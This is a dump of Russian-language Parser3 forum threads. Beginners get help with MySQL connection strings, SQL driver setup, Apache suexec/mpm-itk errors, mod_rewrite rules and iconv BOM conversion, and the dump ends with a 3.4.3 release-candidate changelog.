[b]connect\
connection string must start with protocol://\
Z:/home/parsertest/www/form.html(4:2) \
if Z:/home/parsertest/www/form.html(1:2)[/b]\
скажите, пожалуйста, как исправить данную ошибку?\
\
что значит (4:2)?\
что значит (1:2)?\
\
\
в уроке стр 68\
как в назвать таблицу БД правильно?\
[code]^if(def $form:title){\
$data[$form:fields]\
}{\
^connect[$SQL.connect-string]{\
$data[^table::sql{SELECT title, lead, body FROM news WHERE news_id\
= $id}]\
}\
}\
^untaint[html]{\
<p>\
<b>Заголовок:</b><br />\
<textarea name=\"title\">$data.title</textarea>\
</p>\
<p>\
<b>Анонс:</b><br />\
<textarea name=\"lead\">$data.lead</textarea>\
</p>\
<p>\
<b>Текст новости:</b><br />\
<textarea name=\"body\">$data.body</textarea>\
</p>\
}[/code]"
"78819","[quote]\
connection string must start with protocol://\
[/quote]\
\
попробуйте перевести это сообщение об ошибке и понять его суть (если вы взялись за программирование, вам придется сталкиваться с ошибками, чтобы понимать их суть)\
\
[quote]\
Z:/home/parsertest/www/form.html(4:2)\
[/quote]\
\
это полный путь к файлу, номер строки и номер позиции в строке, где произошла ошибка."
"78820","в предыдущем сообщение написал код, как назвать таблицу БД правильно?\
\
ошибка такая у меня была, Строка соединения должна начинаться с протокола\
\
писали мне\
auto.p нет определения переменной connect_string и вообще метода @auto[]"
"78821","БД можете назвать как хотите, все равно на хостинге скорее всего у вас будет уже база данных, и вы сможете только таблицы в ней создавать.\
\
У вас пустая переменная $SQL.connect-string, напишите в нее строку подключения, обычно это делается в конфигурационном auto.p который лежит рядом с исполняемым файлом парсера.\
\
Ну и вообще - почитайте документацию, хотя бы бегло, сделайте уроки из нее"
"78822","БД можно назвать как угодно это знаю, так я спрашиваю как таблицу назвать?"
"78823","скажите какую документакцию почитать, какая стр? что бы правильно сделать строку подключения!!"
"78825","обычно это делается в конфигурационном auto.p который лежит рядом с исполняемым файлом парсера\
\
ответ\
в корневой папке, сайта\
[b]auto.p[/b]\
\
[code]@auto[]\
$connect_string[mysql://root@localhost/p3test]\
[/code]\
\
Приложение 3. Формат строки подключения оператора\
connect\
прочитал всё перепробовал, не чего не получается\
^connect[$SQL.connect-string]\
выручите меня пожалуйста) какую именно вставить строку подключения?"
"78826","идите читайте и _делайте_ уроки с самого начала.\
\
вы не понимаете что именно вы делаете. по урокам можно делать copy/paste и всё заработает, но вы даже с copy/paste-ом пока не справляетесь.\
\
в вашем случае, как я вам уже писал, вы определяете строку соединения в переменной с именем $connect_string.\
а в оператор connect подставляете значение, которое у вас находится в $SQL.connect-string (в уроках в оператор connect подставляется значение из переменной $connect_string).\
\
$connect_string и $SQL.connect-string — это две разные вещи. предполагаю, что в $SQL.connect-string у вас пустота (т.к. вы не пишите, что вы её определили), отсюда и ругань, т.к. пустота не начинается с protocol://, о чем вам парсер говорит своим сообщением об ошибке.\
\
[quote]\
так я спрашиваю как таблицу назвать?\
[/quote]\
\
разработчик называть таблицу может как угодно.\
как вы её назовёте, так потом к ней и будете обращаться в ваших SQL запросах.\
вы же приводите SQL запрос, где таблица называется news, и задаёте вопрос о том, как назвать таблицу.\
=>\
вы вообще пока ничего не понимаете в SQL запросах.\
возьмите любую книжку по SQL и почитайте её.\
4 урок  лишь показывают принципы взаимодействия с SQL серверами и получением данных, но не являются уроками по SQL.\
\
P.S. извините, но следующую подобную дискуссию я удалю."
"78827","Не хочет работать nconvert.\
А точнее ни одна из функций (resize, crop и т.д.), при этом никаких ошибок не выдает.\
[code]^oImg.resize[$sbig;$small;960;485]\
^oImg.rotateJPG[$sbig;+90][/code]\
В чем может быть проблема? Уже 2-й день бьюсь без особых результатов.\
\
Заранее спасибо."
"78829","Нет, но я и не знаю как.\
Достался сайт на поддержку, а я в парсере \"ни в зуб ногой\", начал переносить на другой хостинг и столкнулся с рядом проблем.\
Большую часть уже решил (спасибо этому форуму), вот осталось с обработкой изображений."
"78830","- но новом хостинге NConvert-то есть?\
- [url=http://www.kulikoff.net/parser3/img/]страничку классов[/url] посетили? там написано, что нужно сделать для настройки. скорее всего нужно где-то путь подправить."
"78831","[quote]- но новом хостинге NConvert-то есть?[/quote]Есть\
[quote]- страничку классов посетили? там написано, что нужно сделать для настройки. скорее всего нужно где-то путь подправить.[/quote]\
Страничку посещал, пути настроил (без настроенных путей, сыпались ошибки в лог). Ошибок не выдает, но и функции не исполняет."
"78832","Если работает, то сделайте враппер на подобие\
[code]#!/bin/sh\
echo \"$*\" > /ваш абсолютный путь/test.txt[/code]\
В test.txt будут параметры запуска nconvert, попробуйте запустить из консоли сами, может увидите аномалии."
"78833","Выдает: ELF binary type \"0\" not known.\
\
[b]UPD.[/b] Всем спасибо, проблема решилась установкой \"правильной\" версией nconvert. Прошу прощение за потраченное время."
"78834","Хочу установить SQL-драйвер. В корне создал папку lib, поместил туда драйвер. \
\
Пишу в корне сайта в auto.p:\
[code]@auto[] \
$request:charset[utf-8] \
$response:charset[utf-8]\
$response:content-type[ \
   $.value[text/html] \
   $.charset[$response:charset] \
]\
$SQL.connect-string[mysql://root:1234@localhost/privet?charset=utf8&\
ClientCharset=utf8&\
   timeout=3& \
   compress=0& \
   named_pipe=1& \
   autocommit=1& \
   local_infile=0&\
   multi_statements=0\
][/code]\
\
Выдает ошибку: 'connect-string' element can not be stored to void [parser.runtime]\
\
Что я делаю не так?"
"78835","$SQL.connect-string[...] это попытка записать значение в поле с именем connect-string в переменную $SQL.\
а судя по тому, что вы написали, у вас переменная $SQL не определена.\
но даже если вы если бы не было этой ошибки, у вас не сработал бы connect, т.к. у вас не определены драйвера и клиентские библиотеки.\
\
в имеющихся в разделе скачать конфигах (auto.p/@conf[]) есть примеры того, что надо определить ($SQL должен быть хэшом, у него должно быть определена таблица в поле с именем drivers). а $SQL.connect-string в общем не обязательно. вы строку соединения можете хранить в любом удобном вам месте. просто мы считаем, что правильнее глобальные настройки, относящиеся к SQL хранить в одном месте)"
"78836","[quote]В корне создал папку lib[/quote]\
в корне чего? папка lib обычно лежит не в корне, а в каталоге в котором находится parser.exe|cgi, там же рядом должен лежать конфигурационный auto.p  в котором почти все что вы написали должно быть прописано (а не в корне сайта, особенно строка подключения к sql, т.к. в случае непредвиденного доступа к корневому auto.p она будет прочитана потенциальным злоумышленником)"
"78837","Вы про вот это?\
[code]$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
sqlite	$sqldriversdir/libparser3sqlite.so	sqlite3.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	libclntsh.so\
}]\
][/code]"
"78839","А где взять клиентские библиотеки?"
"78841","Выдает ошибку: 'mysql://****@localhost/test1' Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) [sql.connect]\
\
Что делать?"
"78842","Нету там. Нашел на сайте mysql."
"78844","Как это сделать?"
"78846","да, подключается!"
"78848","Блин, это все дурацкий TimeWeb. Что с установкой самого парсера беда была, сейчас с mySQL."
"78849","Вместо localhost нужно писать 127.0.0.1."
"78850","... клиентская бибилиотека MySQL при обычной сборке считает, что при подключении к «localhost» используется не tcp-соединение, а юникс-сокет. :) И не создают его или кладут его не в /tmp/mysql.sock.\
\
Наверняка у админов можно спросить путь к сокету и задать его с строке подключения вместо localhost (в квадратных скобках). Сокет работает несколько быстрее, чем сетевое соединение, но не думаю, что это будет критично. Так что можно и 127.0.0.1 оставить."
"78851","Хочу написать блог на сайте. В папке blog создаю такой auto.p:\
[code]@zapisi[]\
^connect[mysql://dante_blog:1234@127.0.0.1/dante_blog]{ \
   $zapisi[^table::sql{select \
       id, body  \
   from \
      zapisi\
   }] \
}\
^zapisi.menu{ \
<p>Запись №<b>$zapisi.id</b></p>\
<p>$zapisi.body</p>\
<p><a href=\"../$num($zapisi.id+1)$num\">Следующая запись</a></p>\
}[/code]\
\
Как усовершенствовать код, чтобы записи имели адреса blog/1/,blog/2/,blog/3/ и тд. Из папки blog будет редирект на blog/1/."
"78852","Но искать следующую запись по id+1 неверно. Подумайте что произойдет в вашей последовательности если вы удалите запись с id == 2 из БД."
"78853","Подскажите, пожалуйста, как хранить html-код в MySQL. Заранее спасибо!"
"78854","Попробую сыграть в КО\
[code]$html[<a href=\"http://parser.ru\">parser.ru</a>]\
\
^void:sql{\
	INSERT INTO code(html) VALUES ('$html')\
}\
\
$html[^string:sql{\
	SELECT html FROM code	\
}[\
	$.limit(1)\
]][/code]\
\
Все же стоит уточнить вопрос, какая из особенностей хранения вас интересует."
"78856","Наверное я немного не правильно выразился.\
\
У меня в базе данных хранится, например, вот такой код в базе данных:\
[code]id  body\
  1  <p>Привет!</p>\
  2  <p>Как дела?</p>[/code]\
\
Я хочу, чтобы он работал как html-код, а не выводился как текст."
"78858","А можно на моем примере в последнем сообщении описать?"
"78860","Собственно ситуация следующая, выкачал сайт телепортом 100к+ страниц, нужно из них достать определенную информацию(выделил жирным) и перенести в csv\
Подскажите как. Просьба не забрасывать гнилыми овощами и проклятьями :)\
[code][b]Latitude:[/b]</th>\
<td class=dash lign=left valign=top width=5>&nbsp;</td>\
<td class=dash align=left valign=top width=140>37&#176; [b]47' 45\" [/b]N</td>\
<td lign=left valign=top width=10>&nbsp;</td>\
<th valign=top width=100>Publication:</th>\
<td class=dash lign=left valign=top width=5>&nbsp;</td>\
<td class=dash align=left valign=top width=140>132</td>\
</tr>\
<tr>\
<th valign=top width=100>Longitude:</th>\
<td class=dash lign=left valign=top width=5>&nbsp;</td>\
<td class=dash align=left valign=top width=140>26&#176; [b]40' 57\" [/b][/code]"
"78861","[quote]\
…\
2. В теле сообщения напишите что вы хотели получить, [b]что вы делали[/b] и [b]что получили[/b]\
…\
[/quote]"
"78862","Нашел в документации только создание текстовых файлов. Может я что-то пропустил, если ли способ создания пустых папок?\
\
Заранее спасибо"
"78863","... так что надо создавать с файликом произвольным keep.me например. Промежуточные подпапки создаст автоматом."
"78864","Необходимые для сохранения файла промежуточные папки, если их нет, будут автоматически созданы парсером, поэтому необходимости вручную создавать директории нет."
"78865","В папке posts лежит папка admin, в auto.p которой вот такой код:\
[code]@body_main[] \
$now[^date::now[]]\
<form method=\"post\">\
<span class=\"smaler\">ID</span><br>\
<input class=\"forms\" type=\"text\" name=\"id\" value=\"\"><br><br>\
<span class=\"smaler\">Название</span><br>\
<input class=\"forms\" type=\"text\" name=\"name\" value=\"\"><br><br>\
<span class=\"smaler\">Пост</span><br>\
<textarea class=\"forms\" type=\"text\" name=\"body\" rows=\"4\"></textarea><br><br>\
<br><br>\
<input type=\"submit\" name=\"action\" class=\"btn\" value=\"Добавить в базу\"> <span class=\"smaler\"><i>или</i> <input type=\"reset\" class=\"button_reset\" value=\"очистить форму\"> \
</span></form>\
\
\
^if(def $form:id && def $form:name && def $form:trans && def $form:date && def $form:body && def $form:lang){ \
   ^connect[mysql://dante_post:1234@127.0.0.1/dante_post]{ \
      ^void:sql{insert into termins \
         (id, name, body) \
      values\
         ('$form:id', '$form:name', '$form:body') \
      }\
      $file[^file::create[text;../$form:id/index.html;^untaint[html]{$idterm($form:id)\
^termin[]\
}]] \
      добавлено! \
      } \
}{ \
   необходимо заполнить все поля формы \
}[/code]\
\
Поясню: нужно, чтобы при добавлении данных в базу данных, в папке posts создавалась папка с именем $form:id, а в нем лежал html-документ с кодом:\
[code]$idterm($form:id)\
^termin[][/code]"
"78866","[code]\
$idterm($form:id)\
^termin[]\
[/code]\
=>\
[code]\
^$idterm($form:id)\
^^termin[]\
[/code]\
\
но всё это не нужно, если использовать rewrite.\
даже если нет rewrite-а, то первая строка всё равно не нужна, т.к. id можно вытащить из url внутри @termin[]\
в этом случае вы можете положить где-нить готовый файл, а парсером делать ему ^file:copy[откуда;куда]"
"78867","Воу, забыл отметить, что у меня папка с файлом не создается. В базу инфа добавляется, а папка с файлом не создается."
"78868","а. ступил.\
вам не ^file::create[] нужен, а:\
[code]\
$s[создаёте строковую переменную с нужным вам содержанием, не забывая эскейпить спец-символы]\
^s.save[../^form:id.int(0)/index.html]\
[/code]"
"78869","Огромное спасибо! Все заработало!"
"78870","Не понимаю зачем вам половина информации в БД, вторая на диске.\
В MySQL есть тип TEXT, который как раз предназначен для подобных html текстов +)"
"78874","В общем поставил убунту, начал копаться везде в поисках подсветки под редакторы. Многие из имеющихся не устроили по функционалу, под gedit так ничего и не нашел, с UEdit через wine проблемы с кириллицей, да и платные не хотелось бы вообще трогать (в т.ч. Sublime). Нашел более-менее адекватный ответ UEdit и NP++ == Bluefish.\
\
Подсветку вбил (HTML+Parser), автозаполнение работает, частично есть подсказки из док (всплывающие). Появилась проблема в разной обработке файла на win/Linux + вещи типа IN подсвечиваются в начале слова (inline, например). Чую ошибку в регекспах контекста, но не могу понять где. Если есть желание, давайте поработаем. Если нет — буду дальше копать сам."
"78875","Поищите подсветку для Coda (Mac), там хороший regexp'ы"
"78876","regexp из Bluefish\
\
<context symbols=\";(){}[]:\\&#34;\\\\',&gt;&lt;*&amp;^%!+=-|/?#&#9;&#10;&#13;&#46;\">"
"78877","Была задача из кода в кодировке 1251 сохранить сгенеренный парсером xml-файл в unicode с BOM.\
\
Наколбасил всякого... на 100% есть более простой способ - о чем и спрашиваю - как сделать это по-человечески?\
\
\
Мое \"творение\" таково:\
\
по документации сохраняю строку (с xml-содержимым) в файл в кодировке utf-8\
\
далее натравляю на файл (через exec с запуск bash-скрипта) iconv и перегоняю UTF-8 в UCS-2LE, но до этого делаю так:\
\
cp BOM.bin tmp.xml\
iconv -f UTF-8 -t UCS-2LE my.xml >>tmp.xml\
mv tmp.xml \"my.xml\"\
\
где файл BOM.bin - файл из 2 байт - FE FF\
\
\
как сделать логичнее и проще? ну огород же вышел..\
может быть как-то можно пихнуть эти BOM-байты с помощью парсера в начало файла? у меня не вышло\
\
\
попутно предложение: при file::create кроме чарсета указывать \"нужно или нет размещать BOM-блок в начале файла\""
"78878","Перепутал в письме байты местами, читать так:\
\
где файл BOM.bin - файл из 2 байт - FF FE"
"78879","парсер ставлю этот http://www.parser.ru/f/1/download/linux/parser3_4_2_debian6x64_cgi_xml.tar.gz\
(да и собирать из исходников пробовал - эффект тот же)\
из консоли он отрабатывает без проблем:\
./parser3.cgi\
./parser3.cgi: file not specified\
Parser/3.4.2 (compiled on x86_64-unknown-linux-gnu)\
Copyright (c) 2001-2012 Art. Lebedev Studio (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
\
Под апачем 2.2.21 работает нормально.\
По форуму про эту ошибку не нашел ничего.\
Тут скорее проблема в конфигурации апача, но тем не менее.\
Нагуглил похожую проблему http://www.apachelounge.com/viewtopic.php?t=4900, но что-то это не решает проблему. Возможно я что-то не так прописываю."
"78880","Но естественно парсерные скрипты не отработали, т.к. залиты под другим пользователем\
Наверное надо копать в сторону настройки suexec под апач 2.4."
"78881","Читайте suexec.log, там должно быть написано, что ему не нравится (обычно неправильные права/владелец исполняемого файла парсера или директории, в которой он лежит)."
"78882","Попробуйте указать вмесо UCS-2LE просто UCS-2. Насколько я помню, iconv в этом случае вставляет в начала BOM автоматом. Если же указано LE или BE, то он считает, что тот кто вызывает уже знает порядок байтиков и никакой бом уже не нужен."
"78883","/var/log/httpd/suexec.log да и поиском по всему серверу :(\
при этом Апач стартует с директивой SuexecUserGroup\
LoadModule suexec_module modules/mod_suexec.so подключается в конфиге\
Модули подключаются перед определением виртуальных хостов (кстати используется mod_macro но на другом сервере с апач 2.2.21 работает без проблем)"
"78884","suexec -V\
 -D AP_DOC_ROOT=\"/var/www\"\
я зачем-то решил положил проекты в/var/web-projects/ :("
"78886","Там хоть можно нормально указать имя и группу пользователя от которого будет работать вся нить апача, для сервера с несколькими проектами наилучший вариант."
"78888","что-то стало у меня ругаться, что не может загрузить mod_macro.so\
httpd-itk поставилось из репы. стандартный httpd отключил. Пытаюсь стартануть httpd-itk и фиг :( ругается на mod_macro а макросы в конфигах вещь удобная)"
"78891","mpm-itk это режим работы, в системе с несколькими процессами, данный режим просто наиболее удачен для серверов с несколькими виртуальными хостами, т.к. разделяет их на уровне пользователей системы.\
Вы уверены что модуль загружается? что в логе ошибок?"
"78892","надо использовать в режиме mpm-itk\
AssignUserID user group"
"78894","Насколько я понял, можно сделать двумя способами:\
1.\
поставить из репы yum install httpd-itk\
service httpd stop \
systemctl disabled httpd.service\
systemctl enabled httpd.service\
service httpd-itk start\
и тут получаем ошибку \
systemctl status httpd-itk.service ругается что не может загрузить модули некоторые.\
2. скачать исходники под 2.4. скомпилить so-файл и пытаться сделать для него LoadModule\
\
httpd.service - The Apache HTTP Server\
   Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled)\
   Active: deactivating (stop-sigterm) (Result: exit-code) since Ср 2013-10-16 00:03:52 MSK; 45s ago\
  Process: 28679 ExecStop=/usr/sbin/httpd $OPTIONS -k graceful-stop (code=exited, status=1/FAILURE)\
 Main PID: 19227 (httpd)\
   Status: \"Total requests: 9; Current requests/sec: 0; Current traffic:   0 B/sec\"\
   CGroup: name=systemd:/system/httpd.service\
           +-19227 /usr/sbin/httpd -DFOREGROUND\
           +-19228 /usr/sbin/httpd -DFOREGROUND\
           +-19229 /usr/sbin/httpd -DFOREGROUND\
           +-19230 /usr/sbin/httpd -DFOREGROUND\
           +-19231 /usr/sbin/httpd -DFOREGROUND\
           L-19232 /usr/sbin/httpd -DFOREGROUND\
\
окт 15 18:27:33 fedora.ms systemd[1]: Starting The Apache HTTP Server...\
окт 15 18:27:33 fedora.ms httpd[19227]: AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using fedora.ms. Set the\
 'ServerName' directive globally to suppress this message\
окт 15 18:27:33 fedora.ms systemd[1]: Started The Apache HTTP Server.\
окт 16 00:03:52 fedora.ms systemd[1]: Stopping The Apache HTTP Server...\
окт 16 00:03:52 fedora.ms httpd[28679]: httpd: Syntax error on line 60 of /etc/httpd/conf/httpd.conf: Cannot load modules/mpm_itk.so into server: /etc/\
httpd/modules/mpm_itk.so: undefined symbol: ap_hook_pre_htaccess\
окт 16 00:03:52 fedora.ms systemd[1]: httpd.service: control process exited, code=exited status=1"
"78895","Снес все нафиг и после этого установил бы все с нуля"
"78896","привет, мог бы меня проконсультировать, как исправить данную ошибку?\
либо по эл-почте peti201p@yandex.ru\
---------------------------------------------------------------------------\
Forbidden\
 You don't have permission to access /Z:/home/login/www/login/_root.htm on this server.\
\
Подсказка Денвера\
 Возможные причины ошибки: \
Вы пытаетесь запустить CGI-скрипт, расположив его вне CGI-директории (например, в директории документов сервера www). Корректные пути к CGI-директориям следующие: \
URL	Куда указывает\
http://***/cgi-glob/script.cgi	/home/cgi-glob/script.cgi\
http://***/cgi/script.cgi	/home/***/cgi/script.cgi\
http://***/cgi-bin/script.cgi	/home/***/cgi-bin/script.cgi\
\
\
\
При большом желании вы все же можете запускать скрипты и из www-директории. Для этого создайте в ней файл .htaccess (с точкой в начале) следующего содержания: \
Options +ExecCGI\
Возможно, вы пытаетесь открыть картинку или статический HTML-файл, расположенный в CGI-директории. Этого делать нельзя. Все рисунки (а также другие файлы, за исключениям скриптов) необходимо помещать в www-директорию. См. примеры по адресу /home/localhost/www. \
Если вы ожидаете получить листинг каталога, но выводится эта ошибка, вероятно, для данной директории выдача листинга запрещена (например, это CGI-папка). Чтобы разрешить листинг, создайте в нужной директории файл .htaccess следующего содержания: \
Options +Indexes"
"78897","не может подцепить модули другие. если их комментить по очереди, то можно и запустится, но как-то это неправильно\
\
httpd-itk.service - The Apache HTTP Server ITK MPM\
   Loaded: loaded (/usr/lib/systemd/system/httpd-itk.service; enabled)\
   Active: failed (Result: exit-code) since Ср 2013-10-16 14:17:04 MSK; 3min 8s ago\
  Process: 31282 ExecStart=/usr/sbin/httpd.itk $OPTIONS -k start (code=exited, status=1/FAILURE)\
\
окт 16 14:17:04 fedora.ms systemd[1]: Starting The Apache HTTP Server ITK MPM...\
окт 16 14:17:04 fedora.ms httpd.itk[31282]: httpd.itk: Syntax error on line 56 of /etc/httpd/conf/httpd.conf: Syntax error on line 7 of /etc/httpd/conf.modules.d/00-base.conf: Cannot load /etc/httpd/modules/mod_actions.so into server: /etc/httpd/modules/mod_actions.so: undefined symbol: ap_log_rerror_\
окт 16 14:17:04 fedora.ms systemd[1]: httpd-itk.service: control process exited, code=exited status=1\
окт 16 14:17:04 fedora.ms systemd[1]: Failed to start The Apache HTTP Server ITK MPM.\
окт 16 14:17:04 fedora.ms systemd[1]: Unit httpd-itk.service entered failed state."
"78898","По идее так?\
[code]\
\
^if(^str.match[а-я][ix]){Вроде Русский}{Похоже басурманский}\
[/code]"
"78899","Естественно этот метод крайне примитивный и подходит для очень простых случаев. Но, например, для исправления ошибок с раскладкой при поиске вполне подходит. :)"
"78901","Подтолкнуть пользователей не заполнять латиницей имена"
"78902","[quote]root@server:~# apache2 -l\
Compiled in modules:\
  core.c\
  mod_log_config.c\
  mod_logio.c\
  mod_version.c\
  itk.c\
  http_core.c\
  mod_so.c\
[/quote]"
"78903","ставлю yum install httpd-itk\
все устанавливается\
httpd.itk -v\
Server version: Apache/2.2.22 (Unix)\
Server built:   Feb 15 2013 08:30:03\
\
\
[root@fedora conf.modules.d]# httpd -l\
Compiled in modules:\
  core.c\
  mod_so.c\
  http_core.c\
[root@fedora conf.modules.d]# httpd.itk -l\
Compiled in modules:\
  core.c\
  itk.c\
  http_core.c\
  mod_so.c\
\
ставит модули \
/etc/httpd/conf.modules.d/00-mpm.conf                                                                                                         742/742               100%\
# Select the MPM module which should be used by uncommenting exactly\
# one of the following LoadModule lines:\
\
# prefork MPM: Implements a non-threaded, pre-forking web server\
# See: http://httpd.apache.org/docs/2.4/mod/prefork.html\
LoadModule mpm_prefork_module modules/mod_mpm_prefork.so\
\
# worker MPM: Multi-Processing Module implementing a hybrid\
# multi-threaded multi-process web server\
# See: http://httpd.apache.org/docs/2.4/mod/worker.html\
#\
#LoadModule mpm_worker_module modules/mod_mpm_worker.so\
\
# event MPM: A variant of the worker MPM with the goal of consuming\
# threads only for connections with active processing\
# See: http://httpd.apache.org/docs/2.4/mod/event.html\
#\
#LoadModule mpm_event_module modules/mod_mpm_event.so\
\
Все они загружаются при старте апача\
service httpd restart\
\
Но когда начинаешь делать \
service httpd stop\
service httpd-itk restart\
начинаются ошибки, что не может подключить модули"
"78904","httpd -v\
Server version: Apache/2.4.6 (Fedora)\
Server built:   Jul 31 2013 06:49:36\
\
httpd.itk -v\
Server version: Apache/2.2.22 (Unix)\
Server built: Feb 15 2013 08:30:03"
"78905","Вот мой .htaccess\
[code]DirectoryIndex index.html\
\
Options -Indexes\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
RewriteEngine On\
Options +FollowSymlinks\
RewriteCond   %{REQUEST_FILENAME}       !-d\
RewriteCond   %{REQUEST_FILENAME}       !-f\
RewriteRule   ^(.*) /index.html?category=$1&name=$2[/code]\
Вот код проверки на нахождение пользователя\
[code]	^if($request:uri eq '/$form:category'){\
		^if($preview){\
			^preview.menu{\
				<div class=\"preview\">\
					<a href=\"/$preview.category/$preview.name\" class=\"nounderline\">\
						<img src=\"^file:find[upload/$preview.category/$preview.name]\" />\
					</a>\
				</div>\
			}\
		}\
	}($request:uri eq '/$form:category/$form:name'){\
		^if($fullscreen){\
			^fullscreen.menu{\
				<div><img src=\"^file:find[upload/$fullscreen.category/$fullscreen.name]\" /></div>\
			}\
		}\
	}($request:uri eq '/index.html?name=$note.name'){\
		^if($note){\
			^note.menu{\
					$note.article\
			}\
		}\
	}[/code]\
Задача дописать в .htacces одну строку которая позволит просматривать картинку целиком.\
Я пробовал дописать следующее:\
RewriteRule   ^(.*)\\/(\\w+) /index.html?category=$1&name=$2\
RewriteRule   ^(.*)|\\/(\\w+) /index.html?category=$1&name=$2\
И ничего не вышло. Получилось только сделать просмотр категории:\
RewriteRule   ^(.*) /index.html?category=$1\
Ссылки такого вида:\
http://lab.mizter.ru/portrait\
http://lab.mizter.ru/portrait/881A2A11FBEB7194.jpg*\
*где, 881A2A11FBEB7194.jpg – это отдельная страница просмотра фотографии.\
Я только начинаю это делать, простите за глупые вопросы."
"78906","В таком виде регулярка вообще работать не будет, тут ищутся трехсимвольные  строки, начинающиеся с \"а\", после которой дефис, а потом \"я\". Да и модификаторы вроде не нужны:\
\
[code]^if(^str.match[[а-яА-ЯёЁ]]){русский}{не русский}[/code]\
\
и + тоже не нужен, если задача - найти хоть один русский символ в строке"
"78908","Если говорить примитивно, mod_rewrite преобразует один URL (чаще всего это т. н. ЧПУ) в другой (чаще всего это «внутренний» URL с CGI-параметрами).\
\
Напишите в одну строку какое преобразование вы хотите сделать и станет много понятнее.\
Например:\
/news/123/ -> /news.html?id=123"
"78909","у меня страница index.html обрабатывает все запросы и изначально писалась в таком виде:\
[code]http://lab.mizter.ru/index.html?category=portrait\
http://lab.mizter.ru/index.html?category=portrait&name=881A2A11FBEB7194.jpg[/code]\
Хочу сделать такого вида:\
[code]http://lab.mizter.ru/portrait\
http://lab.mizter.ru/portrait/881A2A11FBEB7194.jpg[/code]\
Но категорий много, и прописывать в .htaccess каждую категории и строку вида на подобии:\
[code]RewriteRule   ^portrait/(\\w+) /index.html?category=portrait&name=$1\
RewriteRule   ^object/(\\w+) /index.html?category=object&name=$1[/code]\
Хочу сделать автоматический разбор из одной или двух строк, то есть примерно так:\
[code]RewriteRule   ^(.*) /index.html?category=$1\
RewriteRule   ^(.*)\\/(\\w+) /index.html?category=$1&name=$2[/code]"
"78910","Правила читаются с верху в низ\
т.е. самое общее правило должно быть самым последним\
[code]RewriteRule   ^(.*)\\/(\\w+) /index.html?category=$1&name=$2 [L,QSA]\
RewriteRule   ^(.*) /index.html?category=$1 [L,QSA][/code]\
Также вам стоит почитать про флаги [L,QSA]\
Например мой строки по разбору раздела недвижки. \
[code]RewriteRule (arenda|prodaga)/([a-zA-Z-]+)/([a-zA-Z-]+)/([0-9]+).html /obektu/catalog.html?razdel=$1&locationAlias=$2&realEstateTypeAlias=$3&page=$4 [L,QSA]\
RewriteRule (arenda|prodaga)/([a-zA-Z-]+)/([a-zA-Z-]+)/([0-9]+)/$ /obektu/object.html?razdel=$1&locationAlias=$2&realEstateTypeAlias=$3&realEstateId=$4 [L,QSA]\
RewriteRule (arenda|prodaga)/([a-zA-Z-]+)/([a-zA-Z-]+)/ /obektu/catalog.html?razdel=$1&locationAlias=$2&realEstateTypeAlias=$3 [L,QSA]\
RewriteRule (arenda|prodaga)/ /obektu/catalog.html?razdel=$1&locationAlias=$2&realEstateTypeAlias=$3 [L,QSA][/code]"
"78911","На примере \
[code]RewriteRule   ^(.*) /index.html?param=$1 [L,QSA][/code]\
В парсере сделать \
[code]$tParam[^form:param.split[\\]][/code]\
Где в $tParam будет таблица с разобранными параметрами ну и далее вы делаете свой аналог route +)"
"78912","Немного не понял, что именно сделать? Можно пример"
"78913","Естественно, уже осознал :) ибо просто не работало :)"
"78914","И регулировать, какие символы из набора пропускать, а какие - нет.\
\
[code]RewriteRule ^([a-zA-Z0-9_-]+)/([a-zA-Z0-9_-]+)\\.jpg$	/index.html?category=$1&name=$2 [QSA,L]\
RewriteRule ^([a-zA-Z0-9_-]+)/$	/index.html?category=$1 [QSA,L][/code]"
"78915","Опять же это не готовый код для работы, просто пример, который вы должно развить. В классах PF есть решение, как раз для решения подобных задач.\
[code]$url[/catalog/edit/]\
$url[^url.trim[both;/]]\
$tParam[^url.split[/;lh]]\
^switch[$tParam.0]{\
	^case[catalog]{\
		catalog\
		action = $tParam.1\
	}\
	^case[news]{\
		news\
	}\
	^case[DEFAULT]{\
		404\
	}\
}[/code]"
"78916","[code]^([^/]+)(/([0-9A-F]\\.jpg))?$ /index.html?category=$1&name=$2 [L,QSA][/code]\
\
Предполагаю, что имена файлов — это Hex-строка в верхнем регистре, и кроме «jpg» расширений у файлов не бывает.\
Выражение требовательно к единообразию путей: пусть без файла и со слешем в конце — http://lab.mizter.ru/portrait[b]/[/b] — работать будет."
"78917","Выпущен релиз кандидат версии 3.4.3.\
Скачать можно здесь: http://www.parser.ru/download/beta/.\
Приветствуются багрепорты и активное тестирование.\
\
Краткий список изменений:\
\
* Добавлен метод ^math:digest[md5|sha1|sha256|sha512;строка или файл; $.format[hex|base64] $.hmac[ключ]].\
\
* @SET_DEFAULT и @GET_DEFAULT работают не только для объектов, но и для классов.\
\
* Восстановлена работоспособность приема почты парсером.\
\
* Библиотека разбора JSON заменена на вариант с GPL лицензией.\
\
* Переработан процесс сборки (buildall вместо buildall-with/without-xml).\
\
* Добавлен метод ^table.foreach[row_num;values]{code}[sep].\
\
* Добавлена возможность указания $.response-charset в file::load.\
\
* При повторной загрузке одноименного класса по умолчанию выдается исключение (раньше класс молча замещался, что иногда приводило к трудно детектируемым ошибкам).\
\
* В методы ^file:delete и ^file:move добавлена поддержка опции $.keep-empty-dirs(true).\
\
* Вещественные числа выводятся по умолчанию с большей точностью (16 знаков против 5).\
\
* В метод ^curl:load добавлена поддержка кук.\
\
* В методе ^file:list[] теперь выводится колонка dir и при передаче опции $.stat(true) добавляются колонки с размером и датами создания и изменения.\
\
* Добавлен метод ^таблица.csv-string[ $.encloser[\"] $.separator[,] ].\
\
* Обновлена библиотека pcre. Была версия 8.30, стала 8.33. Список изменений: http://www.pcre.org/news.txt\
\
* Обновлена библиотека libxml2. Была версия 2.8.0, стала 2.9.1. Список изменений: http://www.xmlsoft.org/news.html\
\
